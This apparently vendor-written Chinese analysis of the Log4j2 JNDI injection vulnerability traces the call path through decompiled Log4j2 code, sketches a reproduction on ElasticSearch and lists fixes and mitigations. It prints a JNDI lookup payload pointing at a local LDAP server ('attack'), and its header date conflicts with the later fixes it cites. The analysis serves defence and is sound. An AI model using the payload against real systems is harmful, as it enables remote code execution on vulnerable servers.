Apache Log4j2 JNDI注入安全漏洞分析

Apache Log4j2 JNDI注入安全漏洞分析

时间:2021-01-28 作者:安帝科技

Part1 漏洞状态

Part2 基本介绍

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

备注:Log4j2 指 Log4j 2.x 版本

Part3 漏洞原理基本介绍

1、漏洞模块基本介绍
Lookups-> JndiLookup 让我们先看看官网的介绍

简单说就是可以通过代码修改Log4j的配置文件,向里面添加值,都实现了StrLookup接口。

允许通过 Jndi Lookup 检索变量。

2、JNDI注入
JNDI – Java Naming and Directory Interface 名为 Java命名和目录接口,简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务,例如 LDAP、RMI、CORBA 等。比如,可以直接远程下载并且实例化一个LDAP服务器上的class文件,实现远程代码执行。

3、调用栈分析
想知道漏洞触发的源头,调用栈是很好的助手。调用栈最上面是最新调用的函数,向下是源头方向。
先看一看测试环境源码,再看一看测试环境中触发漏洞的调用栈。

Part4漏洞细节

1、部分poc代码
public static void main(String[] args) {
logger.error(“${jndi************}”);
}
2、漏洞触发调用栈分析
988 main WARN Error looking up JNDI resource [ldap://127.0.0.1:1389/attack]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]; remaining name ‘ attack ‘
at com.sun.jndi.ldap.LdapCtx.c_lookup(Unknown Source)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(Unknown Source)
at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(Unknown Source)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(Unknown Source)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(Unknown Source)
at javax.naming.InitialContext.lookup(Unknown Source)
at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
// message = ${jndi:ldap://127.0.0.1:1389/attack}
at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2017)
at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
at org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:740)
at Program.main(Program.java:17)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(Unknown Source)
at javax.naming.spi.DirectoryManager.getObjectInstance(Unknown Source)
… 39 more
[ERROR] [?????????][Program]${jndi:ldap://127.0.0.1:1389/attack}

3、代码动态调试分析与中间参数分析
安装JD decompiler插件,顺着调用栈函数流程,动态调试关键点分析:

// public abstract class AbstractLogger

/* 740 */ public void error(String message) { logIfEnabled(FQCN, Level.ERROR, null, message, (Throwable)null); }

进行一系列基础检查。继续向下调用log函数

// public abstract class AbstractLogger

/* */ private void tryLogMessage(String fqcn, StackTraceElement location, Level level, Marker marker, Message message, Throwable throwable) {
/* */ try {
/* 2205 */ log(level, marker, fqcn, location, message, throwable);
/* 2206 */ } catch (Exception e) {
/* */
/* 2208 */ handleLogMessageException(e, fqcn, message);
/* */ }
/* */ }

/* 161 */ ((LocationAwareReliabilityStrategy)strategy).log(this, getName(), fqcn, location, marker, level, message, throwable);

//LoggerConfig.class

/* 481 */ processLogEvent(event, predicate);

//LoggerConfig.class
/* 498 */ callAppenders(event);

/* */ protected void directEncodeEvent(LogEvent event) {
/* 197 */ getLayout().encode(event, this.manager);

// public final class PatternLayout

/* 229 */ StringBuilder text = toText((AbstractStringLayout.Serializer2)this.eventSerializer, event, getStringBuilder());
/* 244 */ private StringBuilder toText(AbstractStringLayout.Serializer2 serializer, LogEvent event, StringBuilder destination) { return serializer.toSerializable(event, destination); }
/* 344 */ this.formatters[i].format(event, buffer);
// public class PatternFormatter
/* */ public void format(LogEvent event, StringBuilder buf) {
/* 37 */ if (this.skipFormattingInfo) {
/* 38 */ this.converter.format(event, buf);

需要注意一下这个位置:
/* */ public StringBuilder toSerializable(LogEvent event, StringBuilder buffer) {
/* 342 */ int len = this.formatters.length;
/* 343 */ for (int i = 0; i < len; i++) {
/* 344 */ this.formatters[i].format(event, buffer);
/* */ }

这个循环需要循环到指定索引 I =8 的时候才能触发漏洞流程。

触发漏洞路径之后走到这里:

// public final class MessagePatternConverter

/* */ public void format(LogEvent event, StringBuilder toAppendTo) {
/* 113 */ Message msg = event.getMessage();
/* 114 */ if (msg instanceof StringBuilderFormattable) {
/* */
/* 116 */ boolean doRender = (this.textRenderer != null);
/* 117 */ StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
/* */
/* 119 */ int offset = workingBuilder.length();
/* 120 */ if (msg instanceof MultiFormatStringBuilderFormattable) {
/* 121 */ ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
/* */ } else {
/* 123 */ ((StringBuilderFormattable)msg).formatTo(workingBuilder);
/* */ }
/* */
/* */
/* 127 */ if (this.config != null && !this.noLookups) {
/* 128 */ for (int i = offset; i < workingBuilder.length() – 1; i++) {
/* 129 */ if (workingBuilder.charAt(i) == ‘$’ && workingBuilder.charAt(i + 1) == ‘{‘) {
/* 130 */ String value = workingBuilder.substring(offset, workingBuilder.length());
/* 131 */ workingBuilder.setLength(offset);
/* 132 */ workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
/* */ }
/* */ }
/* */ }
/* 136 */ if (doRender) {
/* 137 */ this.textRenderer.render(workingBuilder, toAppendTo);
/* */ }
/* */ return;
/* */ }
/* 141 */ if (msg != null) {
/* */ String result;
/* 143 */ if (msg instanceof MultiformatMessage) {
/* 144 */ result = ((MultiformatMessage)msg).getFormattedMessage(this.formats);
/* */ } else {
/* 146 */ result = msg.getFormattedMessage();
/* */ }
/* 148 */ if (result != null) {
/* 149 */ toAppendTo.append((this.config != null && result.contains(“${“)) ? this.config
/* 150 */ .getStrSubstitutor().replace(event, result) : result);
/* */ } else {
/* 152 */ toAppendTo.append(“null”);
/* */ }
/* */ }
/* */ }
/* */ }
标识129那行是判断是否有 “${“ 字符。如果有,那么向下调用最后走到 lookup 分支API 。

// public class StrSubstitutor

// public String replace(LogEvent event, String source) {
/* 467 */ if (!substitute(event, buf, 0, source.length())) {
/* */ private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List priorVariables) {
/* 930 */ StrMatcher prefixMatcher = getVariablePrefixMatcher();
… … …
/* 1033 */ String varValue = resolveVariable(event, varName, buf, startPos, endPos);


这里开始调用到 lookup 流程

// public class StrSubstitutor

/* */ protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {
/* 1106 */ StrLookup resolver = getVariableResolver();
/* 1107 */ if (resolver == null) {
/* 1108 */ return null;
/* */ }
/* 1110 */ return resolver.lookup(event, variableName);
/* */ }
这里判断是 那种类型lookup 然后调用对应分支

// public class Interpolator

/* */ public String lookup(LogEvent event, String var) {
/* 221 */ value = (event == null) ? lookup.lookup(name) : lookup.lookup(event, name);

// public class JndiLookup

/* */ public String lookup(LogEvent event, String key) {
/* 51 */ if (key == null) {
/* 52 */ return null;
/* */ }
/* 54 */ String jndiName = convertJndiName(key);
/* 55 */ try (JndiManager jndiManager = JndiManager.getDefaultManager()) {
/* 56 */ return Objects.toString(jndiManager.lookup(jndiName), null);
/* 57 */ } catch (NamingException e) {
/* 58 */ LOGGER.warn(LOOKUP, “Error looking up JNDI resource [{}].”, jndiName, e);
/* 59 */ return null;
/* */ }
/* */ }
代码动态调式到这里就可以停止,因为再向下走,就走到 java jndi 相关api里面了。

Part5 漏洞触发总结

在调用 log函数后,会先进行信息检查,然后消息递归解析。替换,如果有 $符号,再进一步解析,调用不同接口,把 ${jndi:ladp***} 等字符串通过调用 lookup对应接口替换成动态解析后的数据。因为这个替换过程可以被jndi注入攻击,所以触发漏洞。

Part6 漏洞攻击复现

Ubuntu x64
ElasticSearch5.3.0
Java1.8.0_144

Part7 复现攻击

因为已经了解漏洞原理,所以,现在只要想办法,尽量简单的在ES中触发漏洞即可。
Postman 发送恶意数据。恶意代码是让靶机回连测试网站。

结果返回 Query_shard_exception 说明攻击成功。

测试网站显示有回连。说明恶意代码成功执行。

Part 8 常用攻击方式

1、UI界面恶意输入。
2、发送恶意网络数据包。

Part9 影响及缓解建议

1.漏洞影响
Log4j2 是Java 生态中的基础组件之一,所以应用广泛,影响巨大。截止文章发布日期,在 Apache Log4j2 漏洞影响面查询 网页中显示,Log4j2漏洞影响 60644 个开源软件涉及相关版本软件包 321094 个。而且此漏洞利用方式相对简单、多样,可以通过UI界面直接恶意输入进行攻击,也可以发送恶意请求进行攻击。因此,被称为核弹级别的漏洞,一点不为过。还需要注意的是,已经爆出有APT组织利用此漏洞分发病毒,一定要引起足够的重视(参考永恒之蓝漏洞的攻击,好多年时间内一直有攻击行为,现在依旧有利用此漏洞攻击的行动)。今年的功防演练行动,Log4j2 也是需要重视的点。

2.官方修复方式
2.15 已经在代码关键部分添加白名单策略。但是也有绕过方案。
2.16 2.17等更高版本进行更完善的修复。

3.修复建议
升级到最新版本。
漏洞缓解措施:
1.jvm参数-Dlog4j2.formatMsgNoLookups=true
2.log4j2.formatMsgNoLookups=True
3.JDK 使用11.0.1、8u191、7u201、6u211 及以上的高版本。

获取更多情报

联系我们,获取更多漏洞情报详情及处置建议,让企业远离漏洞威胁。
电话:18511745601
邮箱:shiliangang@andisec.com